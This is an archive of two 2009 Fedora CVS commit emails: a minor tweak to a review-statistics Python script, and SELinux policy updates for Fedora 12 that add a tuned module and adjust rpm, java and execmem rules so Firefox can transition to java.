Message-ID: <20091023141658.A015D11C01EA@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26218

Modified Files:
	review-stats.py 
Log Message:
Minor tweaks to the index page.



Index: review-stats.py
===================================================================
RCS file: /cvs/fedora/status-report-scripts/review-stats.py,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -r1.4 -r1.5
--- review-stats.py	22 Oct 2009 03:59:08 -0000	1.4
+++ review-stats.py	23 Oct 2009 14:16:28 -0000	1.5
@@ -348,7 +348,10 @@
     loader = TemplateLoader(options.templdir)
     tmpdir = tempfile.mkdtemp(dir=options.dirname)
 
-    data = {}
+    data = {
+            'update': datetime.datetime.now().strftime('%Y-%m-%d %H:%M'),
+            'version': VERSION,
+            }
 
     data['new'] =         report_new(bugs, bugdata, loader, tmpdir)
     data['merge'] =       report_merge(bugs, bugdata, loader, tmpdir)



From dwalsh at fedoraproject.org  Fri Oct 23 14:40:40 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 23 Oct 2009 14:40:40 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-minimum.conf, 1.41,
	1.42 modules-targeted.conf, 1.150, 1.151 policy-F12.patch, 1.116,
	1.117 selinux-policy.spec, 1.949, 1.950
Message-ID: <20091023144040.1BCE111C02A2@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31993

Modified Files:
	modules-minimum.conf modules-targeted.conf policy-F12.patch 
	selinux-policy.spec 
Log Message:
* Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-33
- Allow firefox to transition to java



Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-minimum.conf,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- modules-minimum.conf	21 Oct 2009 15:55:49 -0000	1.41
+++ modules-minimum.conf	23 Oct 2009 14:40:38 -0000	1.42
@@ -1682,6 +1682,13 @@ timidity = off
 tftp = module
 
 # Layer: services
+# Module: tuned
+#
+# Dynamic adaptive system tuning daemon
+#
+tuned = module
+
+# Layer: services
 # Module: uucp
 #
 # Unix to Unix Copy


Index: modules-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-targeted.conf,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- modules-targeted.conf	21 Oct 2009 15:55:49 -0000	1.150
+++ modules-targeted.conf	23 Oct 2009 14:40:38 -0000	1.151
@@ -1682,6 +1682,13 @@ timidity = off
 tftp = module
 
 # Layer: services
+# Module: tuned
+#
+# Dynamic adaptive system tuning daemon
+#
+tuned = module
+
+# Layer: services
 # Module: uucp
 #
 # Unix to Unix Copy

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   76 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   31 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   36 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  425 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   20 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   42 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   21 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  136 ++
 policy/modules/services/tuned.te          |   59 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  165 +++
 policy/modules/services/virt.te           |  286 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  336 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  160 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 372 files changed, 18201 insertions(+), 2748 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.116
retrieving revision 1.117
diff -u -p -r1.116 -r1.117
--- policy-F12.patch	22 Oct 2009 19:59:10 -0000	1.116
+++ policy-F12.patch	23 Oct 2009 14:40:38 -0000	1.117
@@ -641,7 +641,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/bin/online_update		--	gen_context(system_u:object_r:rpm_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/rpm.if serefpolicy-3.6.32/policy/modules/admin/rpm.if
 --- nsaserefpolicy/policy/modules/admin/rpm.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/rpm.if	2009-10-21 09:33:05.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/rpm.if	2009-10-23 08:38:05.000000000 -0400
 @@ -13,11 +13,34 @@
  interface(`rpm_domtrans',`
  	gen_require(`
@@ -689,7 +689,7 @@ diff -b -B --ignore-all-space --exclude-
  	seutil_run_loadpolicy(rpm_script_t, $2)
  	seutil_run_semanage(rpm_script_t, $2)
  	seutil_run_setfiles(rpm_script_t, $2)
-@@ -146,6 +174,36 @@
+@@ -146,6 +174,40 @@
  
  ########################################
  ## <summary>
@@ -711,14 +711,18 @@ diff -b -B --ignore-all-space --exclude-
 +	')
 +
 +	dontaudit $1 rpm_t:fifo_file rw_fifo_file_perms;
++ 	dontaudit $1 rpm_t:tcp_socket rw_socket_perms;
++	dontaudit $1 rpm_t:unix_dgram_socket rw_socket_perms;
++	dontaudit $1 rpm_t:shm rw_shm_perms;
++
 +	dontaudit $1 rpm_script_t:fd use;
 +	dontaudit $1 rpm_script_t:fifo_file rw_fifo_file_perms;
++
 +	dontaudit $1 rpm_var_run_t:file write_file_perms;
++
 +	dontaudit $1 rpm_tmp_t:file rw_file_perms;
-+	dontaudit $1 rpm_t:shm rw_shm_perms;
 + 	dontaudit $1 rpm_tmpfs_t:dir rw_dir_perms;
 + 	dontaudit $1 rpm_tmpfs_t:file write_file_perms;
-+ 	dontaudit $1 rpm_t:tcp_socket rw_socket_perms;
 +')
 +
 +########################################
@@ -726,7 +730,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Send and receive messages from
  ##	rpm over dbus.
  ## </summary>
-@@ -167,6 +225,68 @@
+@@ -167,6 +229,68 @@
  
  ########################################
  ## <summary>
@@ -795,7 +799,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Create, read, write, and delete the RPM log.
  ## </summary>
  ## <param name="domain">
-@@ -186,6 +306,24 @@
+@@ -186,6 +310,24 @@
  
  ########################################
  ## <summary>
@@ -820,7 +824,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Inherit and use file descriptors from RPM scripts.
  ## </summary>
  ## <param name="domain">
-@@ -219,7 +357,51 @@
+@@ -219,7 +361,51 @@
  	')
  
  	files_search_tmp($1)
@@ -872,7 +876,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -241,6 +423,25 @@
+@@ -241,6 +427,25 @@
  	allow $1 rpm_var_lib_t:dir list_dir_perms;
  	read_files_pattern($1, rpm_var_lib_t, rpm_var_lib_t)
  	read_lnk_files_pattern($1, rpm_var_lib_t, rpm_var_lib_t)
@@ -898,7 +902,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -265,6 +466,47 @@
+@@ -265,6 +470,47 @@
  
  ########################################
  ## <summary>
@@ -946,7 +950,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to create, read, 
  ##	write, and delete the RPM package database.
  ## </summary>
-@@ -283,3 +525,81 @@
+@@ -283,3 +529,81 @@
  	dontaudit $1 rpm_var_lib_t:file manage_file_perms;
  	dontaudit $1 rpm_var_lib_t:lnk_file manage_lnk_file_perms;
  ')
@@ -1953,8 +1957,8 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib/wingide-[^/]+/bin/PyCore/python -- gen_context(system_u:object_r:execmem_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-22 14:59:29.000000000 -0400
-@@ -0,0 +1,74 @@
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-23 09:23:30.000000000 -0400
+@@ -0,0 +1,76 @@
 +## <summary>execmem domain</summary>
 +
 +########################################
@@ -2020,6 +2024,8 @@ diff -b -B --ignore-all-space --exclude-
 +	domtrans_pattern($3, execmem_exec_t, $1_execmem_t)
 +	corecmd_bin_domtrans($1_execmem_t, $1_t)
 +
++	files_execmod_tmp($1_execmem_t)
++
 +	optional_policy(`
 +		chrome_role($2, $1_execmem_t)
 +	')
@@ -2596,7 +2602,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib/opera(/.*)?/works	--	gen_context(system_u:object_r:java_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/java.if serefpolicy-3.6.32/policy/modules/apps/java.if
 --- nsaserefpolicy/policy/modules/apps/java.if	2009-08-18 11:41:14.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/java.if	2009-10-07 16:35:17.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/java.if	2009-10-23 09:22:39.000000000 -0400
 @@ -30,6 +30,7 @@
  
  	allow java_t $2:unix_stream_socket connectto;
@@ -2605,7 +2611,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -71,24 +72,129 @@
+@@ -71,24 +72,131 @@
  
  ########################################
  ## <summary>
@@ -2733,6 +2739,8 @@ diff -b -B --ignore-all-space --exclude-
 +	fs_dontaudit_rw_tmpfs_files($1_java_t)
 +	corecmd_bin_domtrans($1_java_t, $1_t)
 +
++	files_execmod_all_files($1_java_t)
++
 +	optional_policy(`
 +		xserver_common_app($1_java_t)
 +		xserver_role($1_r, $1_java_t)
@@ -2740,7 +2748,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/java.te serefpolicy-3.6.32/policy/modules/apps/java.te
 --- nsaserefpolicy/policy/modules/apps/java.te	2009-08-18 11:41:14.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/java.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/java.te	2009-10-23 08:58:46.000000000 -0400
 @@ -20,6 +20,8 @@
  typealias java_t alias { staff_javaplugin_t user_javaplugin_t sysadm_javaplugin_t };
  typealias java_t alias { auditadm_javaplugin_t secadm_javaplugin_t };
@@ -2750,7 +2758,17 @@ diff -b -B --ignore-all-space --exclude-
  type java_tmp_t;
  files_tmp_file(java_tmp_t)
  ubac_constrained(java_tmp_t)
-@@ -80,6 +82,7 @@
+@@ -32,9 +34,6 @@
+ typealias java_tmpfs_t alias { staff_javaplugin_tmpfs_t user_javaplugin_tmpfs_t sysadm_javaplugin_tmpfs_t };
+ typealias java_tmpfs_t alias { auditadm_tmpfs_javaplugin_t secadm_tmpfs_javaplugin_t };
+ 
+-type unconfined_java_t;
+-init_system_domain(unconfined_java_t, java_exec_t)
+-
+ ########################################
+ #
+ # Local policy
+@@ -80,6 +79,7 @@
  dev_write_sound(java_t)
  dev_read_urand(java_t)
  dev_read_rand(java_t)
@@ -2758,7 +2776,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(java_t)
  files_read_usr_files(java_t)
-@@ -131,6 +134,7 @@
+@@ -131,20 +131,9 @@
  ')
  
  optional_policy(`
@@ -2766,25 +2784,20 @@ diff -b -B --ignore-all-space --exclude-
  	xserver_user_x_domain_template(java, java_t, java_tmpfs_t)
  ')
  
-@@ -143,8 +147,18 @@
- 	# execheap is needed for itanium/BEA jrocket
- 	allow unconfined_java_t self:process { execstack execmem execheap };
+-########################################
+-#
+-# Unconfined java local policy
+-#
+-
+-optional_policy(`
+-	# execheap is needed for itanium/BEA jrocket
+-	allow unconfined_java_t self:process { execstack execmem execheap };
  
-+	files_execmod_all_files(unconfined_java_t)
-+
- 	init_dbus_chat_script(unconfined_java_t)
+-	init_dbus_chat_script(unconfined_java_t)
  
- 	unconfined_domain_noaudit(unconfined_java_t)
- 	unconfined_dbus_chat(unconfined_java_t)
-+	optional_policy(`
-+		hal_dbus_chat(unconfined_java_t)
-+')
-+
-+	optional_policy(`
-+		rpm_domtrans(unconfined_java_t)
- ')
-+')
-+
+-	unconfined_domain_noaudit(unconfined_java_t)
+-	unconfined_dbus_chat(unconfined_java_t)
+-')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/kdumpgui.fc serefpolicy-3.6.32/policy/modules/apps/kdumpgui.fc
 --- nsaserefpolicy/policy/modules/apps/kdumpgui.fc	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/kdumpgui.fc	2009-09-30 16:12:48.000000000 -0400
@@ -6561,7 +6574,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/nfs/rpc_pipefs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/files.if serefpolicy-3.6.32/policy/modules/kernel/files.if
 --- nsaserefpolicy/policy/modules/kernel/files.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/files.if	2009-10-13 11:03:54.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/files.if	2009-10-23 09:23:13.000000000 -0400
 @@ -110,6 +110,11 @@
  ## </param>
  #
@@ -6679,7 +6692,40 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -3449,6 +3516,24 @@
+@@ -3320,6 +3387,32 @@
+ 
+ ########################################
+ ## <summary>
++##	Allow shared library text relocations in tmp files.
++## </summary>
++## <desc>
++##	<p>
++##	Allow shared library text relocations in tmp files.
++##	</p>
++##	<p>
++##	This is added to support java policy.
++##	</p>
++## </desc>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`files_execmod_tmp',`
++	gen_require(`
++		attribute tmpfile;
++	')
++
++	allow $1 tmpfile:file execmod;
++')
++
++########################################
++## <summary>
+ ##	Manage temporary files and directories in /tmp.
+ ## </summary>
+ ## <param name="domain">
+@@ -3449,6 +3542,24 @@
  
  ########################################
  ## <summary>
@@ -6704,7 +6750,7 @@ diff -b -B --ignore-all-space --exclude-
